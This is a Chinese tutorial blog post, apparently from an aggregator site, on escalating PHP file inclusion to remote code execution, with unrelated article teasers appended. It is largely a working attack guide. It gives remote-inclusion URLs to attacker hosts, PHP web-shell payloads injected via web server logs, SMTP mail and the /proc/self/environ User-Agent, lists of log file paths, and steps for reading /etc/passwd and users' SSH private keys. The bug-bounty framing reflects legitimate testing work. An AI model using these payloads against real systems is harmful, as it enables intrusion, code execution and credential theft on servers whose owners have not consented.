从文件包含到RCE方法

news2024/12/24 7:31:58

前言

大家在参加众测的行动时,若是发现了以下基础危害不大的漏洞,不建议直接提交的,而是应该想办法看,能不能对该漏洞进行升级,扩大其危害,多拿点奖励。当然,文件包含不算常见,经常出现在php程序中

远程文件包含(RFI)

http://www.baidu.com/?page=http://hack.com/1.php
http://www.baidu.com/?page=\\attacker.com\shared\mal.php

通过上传

上传任意格式后缀包含shell代码的文件,然后包含该文件即可。

通过apache日志

中间件的日志是及其容易受到文件包含攻击的,例如:可以通过在GET URL时,在参数中填写<?php eval($_GET['a']);?>,这样,恶意内容就会被包含到web日志中,在通过包含该日志,即可成功的进行代码执行。

常见中间件日志位置

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

尝试将恶意代码写入到日志中。

在这里插入图片描述

可以看到,相关内容是有的,只不过是权限过低,无法读取到。

在这里插入图片描述

通过邮件
条件:要求对应的服务器需要开放25端口

1、通过向系统内部用户发送包含<?php echo system($_REQUEST["cmd"]); ?>内容的邮件。
2、包含/var/mail/[usernamme*]&cmd=whoami,就可以成功的执行whoami命令了。

实验过程

  1. 使用telnet 或者nc 直接链接目标主机的25端口

在这里插入图片描述

2.SMTP 协议规定,连接成功后,必须向邮件服务器提供连接的域名,也就是邮件将从哪台服务器发来。使用EHLO命令或者HELO(现在用的较少)

EHLO www.test.com

在这里插入图片描述

发送命令成功,并且列出了smpt 服务支持的扩展

3.使用VRFY 可以验证邮箱是否存在25X的好像都是存在的。
在这里插入图片描述

4.指定发件任何要发送给谁 MAIL FROM 和 RCPT TO

在这里插入图片描述

5.输入DATA 之后进行输入输入,输入完数据进行两次会车,然后输入".",然后再回车,结束输入,邮件发送成功。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ytGDu7wz-1670667731936)(https://note.youdao.com/yws/res/22746/WEBRESOURCE9bf5d8c9379eace439a034276cee029f)]

6.只要文件包含/var/mail/msfadmin,即可成功达成RCE了。

这个时候我们登录实验机器,cat一下这个文件,就可以看到代码确实被输入到这个里面了。

在这里插入图片描述

通过 /proc/self/environ

经过测试,是可行的

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

在这里插入图片描述

通过php session

这个要看具体程序了,需要程序会将失败的用户名等内容写入到php session中。DVWA就不会将失败的内容写入,所以包含也不会成功的。

通过 /proc/*/fd/

就是程序打开的文件,如果打开的某些文件可控的话,可以向其中注入内容,然后包含该文件即可。

例如

/proc/self/fd/3 可以看出来这个是php session 文件,如果可以向session文件中写入内容的话,那么就可以成功包含相关内容了。

在这里插入图片描述

通过ssh

可以通过/proc/self/status 去读到进程的uid和gid,然后读取/etc/password 的内容,知道自己是什么用户,读取用户的登录私钥,如果用户配置了可以通过密钥登录,那么就成了。 /.ssh/ssh_rsa

在这里插入图片描述

在这里插入图片描述

通过其他服务的日志

例如通过ftp、ssh等

读取日志的时候发现可以读取auth.log 尝试向ssh日志中添加恶意代码,然后包含,成功。

在这里插入图片描述

记得输入yes,小问题,小问题
在这里插入图片描述

在这里插入图片描述

以上都是常见的,如果还是无法解决问题,可以参考这个文档中的其他方式

https://book.hacktricks.xyz/pentesting-web/file-inclusion#via-ssh

参考

https://pswalia2u.medium.com/turning-lfi-into-rce-by-sending-emails-via-smtp-58b499a81de3
https://www.sqlsec.com/2017/08/smtp.html#%E7%AE%80%E4%BB%8B
https://pswalia2u.medium.com/turning-lfi-into-rce-by-sending-emails-via-smtp-58b499a81de3
https://book.hacktricks.xyz/pentesting-web/file-inclusion

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/78263.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

车床零件加工调度问题

目录 题目 思路 代码 运行结果 题目 某车间需要用一台车床和一台加工A&#xff0c;B&#xff0c;C&#xff0c;D4个零件。每个零件都需要先用车床加工&#xff0c;再用加工。车床和加工每个零件所需的工时&#xff08;包括加工前的准备时间以及加工后的处理时间)如下表所示。…

移动端APP测试常见面试题精析

现在面试测试职位&#xff0c;要求非常全面&#xff0c;那么APP测试一般需要哪些技术呢&#xff1f;下面总结了APP测试常见面试题&#xff1a; 1.Android四大组件? Activity:描述UI&#xff0c;并且处理用户与机器屏幕的交互。应用程序中&#xff0c;一个Activity就相当于手…

c++ 基础(新手入门必看)

C基础讲解&#xff0c;用于C语言向C的衔接 文章目录命名空间C输入输出缺省参数函数重载引用内联函数auto关键字基于范围for循环指针空值 -- nullptr命名空间 如果你以前看到过C的程序&#xff0c;那么你大概率会看到这样一行代码 这行代码就用到了命名空间的知识&#xff0c;…

QT 系统学习 day06 ,摄像头,语音识别(语音转文字,文字转语音,Qt 的人脸识别系统),

1.调用摄像头&#xff0c;拍照&#xff0c;存储照片 1.摄像头文件 /******* 摄像头相关类 *****/ #include <QCamera> /*** 摄像头类 ***/ #include <QCameraInfo> /*** 系统摄像头属性类 ***/ #include <QCameraImageCapture> /*** 用于记录摄像头数据的类…

C语言入门(一)——程序的基本概念

程序的基本概念 程序和编程语言 自然语言和形式语言 程序的调试 第一个程序 程序的基本概念 程序和编程语言 1.程序 程序&#xff08;Program&#xff09;告诉计算机应如何完成一个计算任务&#xff0c;这里的计算可以是数学运算&#xff0c;比如解方 程&#xff0c;也可…

Centos7下安装PostgreSQL14及其基本命令使用

MySQL关系型数据库目前算是互联网公司使用最多的。前两天看到一个推文&#xff0c;相对比国内使用MySQL&#xff0c;PostgreSQL在国内的普及貌似不高&#xff1f;国外像网络电话公司Skype公司等在大量使用PostgreSQL 作为互联网从业者&#xff0c;保持学习是必须的。开始学习Po…

小甲鱼C语言【课后笔记第一章——打印(printf)

目录 1、“打印”就是“输出”的意思 2、使用 GCC 编译程序&#xff1a;gcc 源代码 -o 可执行文件。 3、printf 是格式化输出函数 a、函数概要 b、函数原型 c、参数分析 d、返回值 e、演示 4. 转义字符 5. 反斜杠的奥义 6、课后习题&#xff08;编程题&#xff09; 1、…

性能工具之JMeter模拟多IP地址访问

文章目录一、前言二、前置条件三、操作步骤一、前言 今天一同事在压测时提到怎么用 JMeter 里虚拟多个 IP 来发送请求&#xff0c;我想了一下以前用LR时用过虚拟ip地址&#xff0c;JMeter 还没有使用过。想着原理应该是相通的&#xff0c;既然 LR 都能支持的话&#xff0c;那 …

多线程学习笔记(四)-- 常见类及使用

1. thread的方法 Thread.sleep()&#xff1a;占用cpu资源 Thread.yeild()&#xff1a;当前线程让渡cpu资源&#xff0c;大家竞争&#xff0c;也有再抢到cpu的机会 t1.join()&#xff1a;在t2线程中&#xff0c;调用t1.join()&#xff0c;是等待t1执行完成 2. 线程状态 3. sy…

力扣(LeetCode)142. 环形链表 II(C++)

哈希表 最直观的思想&#xff0c;哈希表记录遍历的结点&#xff0c;如果结点重复出现&#xff0c;则有环。如果遍历到空结点&#xff0c;无环。 class Solution { public:ListNode *detectCycle(ListNode *head) {unordered_set<ListNode *> ad;auto tail head;while(…

java计算机毕业设计ssm医患交流平台93xzr(附源码、数据库)

java计算机毕业设计ssm医患交流平台93xzr&#xff08;附源码、数据库&#xff09; 项目运行 环境配置&#xff1a; Jdk1.8 Tomcat8.5 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。…

用Excel自带图表插入带分类变量的箱形图(单坐标轴并列箱)

箱型图主要用来观察一个或多个类别下&#xff0c;数值型变量的分位数及离群值的特征和分布&#xff0c;以及在一定程度上观察到偏度和峰度的状态。网上有一些自己计算分位数来绘制箱型图的方法&#xff0c;但一方面是没有直接使用excel自带的箱型图好看和功能全面&#xff0c;二…

qq群聊机器人接入ChatGPT-简介和源码

qq群聊机器人接入ChatGPT 最近 ChatGPT 很火&#xff0c;也注册了账号玩了玩&#xff0c;确实灰常强大。但是也有的小伙伴可能没办法注册账号&#xff0c;我就想着把qq群机器人接入ChatGPT。 过程还是比较简单顺利的。下面简单介绍一下 直接跳过介绍&#xff0c;查项目代码 1…

绘制金字塔-第10届蓝桥杯Scratch选拔赛真题精选

[导读]&#xff1a;超平老师计划推出Scratch蓝桥杯真题解析100讲&#xff0c;这是超平老师解读Scratch蓝桥真题系列的第100讲。 蓝桥杯选拔赛每一届都要举行4~5次&#xff0c;和省赛、国赛相比&#xff0c;题目要简单不少&#xff0c;再加上篇幅有限&#xff0c;因此我精挑细选…

基于java(springboot)校园新闻管理系统源码(java毕业设计)

基于java(springboot)校园新闻管理系统 校园新闻管理系统是基于java编程语言&#xff0c;MySQL数据库&#xff0c;和springboot框架&#xff0c;用idea开发工具开发的设计&#xff0c;本设计分为学生用户&#xff0c;管理员两个角色&#xff0c; 学生的主要功能是可以注册登陆…

Cpolar实现虚拟机内网穿透,搭建私人云服务器

Cpolar实现虚拟机内网穿透,搭建私人云服务器 一、Cpolar功能介绍 Cpolar官网 Cpolar是一个安全的内网穿透的服务&#xff0c;可以将内网下的本地服务器通过安全隧道暴漏给公网。允许公网用户可以正常访问内网服务&#xff0c;是一款免费的内网穿透软件。只需要一行命令&#…

Python小炼(1):初识Python

"也许对我来说&#xff0c;太多拘束可能" 本篇的主要内容,针对的是一些常见的语法&#xff0c;在python中是怎样表示的&#xff0c;例如,python变量如何定义、选择、循环、判断结构是如何表示的&#xff1f;python函 数定义是怎么定义的…… ----前言 一、认识pyt…

无需代理及注册在VsCode中使用ChatGPT

无需代理及注册在VsCode中使用ChatGPT 安装 要安装扩展&#xff0c;请按照下列步骤操作&#xff1a; 1.打开 Visual Studio Code 2.单击左侧栏中的扩展程序图标 3.搜索"ChatGPT中文版" 4.点击安装按钮安装扩展 5.重启VSCode 用法 开始使用 在编辑器中右键触发…

【LeetCode每日一题:1691. 堆叠长方体的最大高度~~~排序+贪心】

题目描述 给你 n 个长方体 cuboids &#xff0c;其中第 i 个长方体的长宽高表示为 cuboids[i] [widthi, lengthi, heighti]&#xff08;下标从 0 开始&#xff09;。请你从 cuboids 选出一个 子集 &#xff0c;并将它们堆叠起来。 如果 widthi < widthj 且 lengthi < …

Java学习笔记6.3.3 文件操作 - 对象序列化与反序列化

文章目录零、本讲学习目标一、对象序列化与反序列化&#xff08;一&#xff09;对象序列化与反序列化概念&#xff08;二&#xff09;对象序列化与反序列化示意图&#xff08;三&#xff09;实际开发中序列化和反序列化的场景&#xff08;四&#xff09;实现对象序列化的两种方…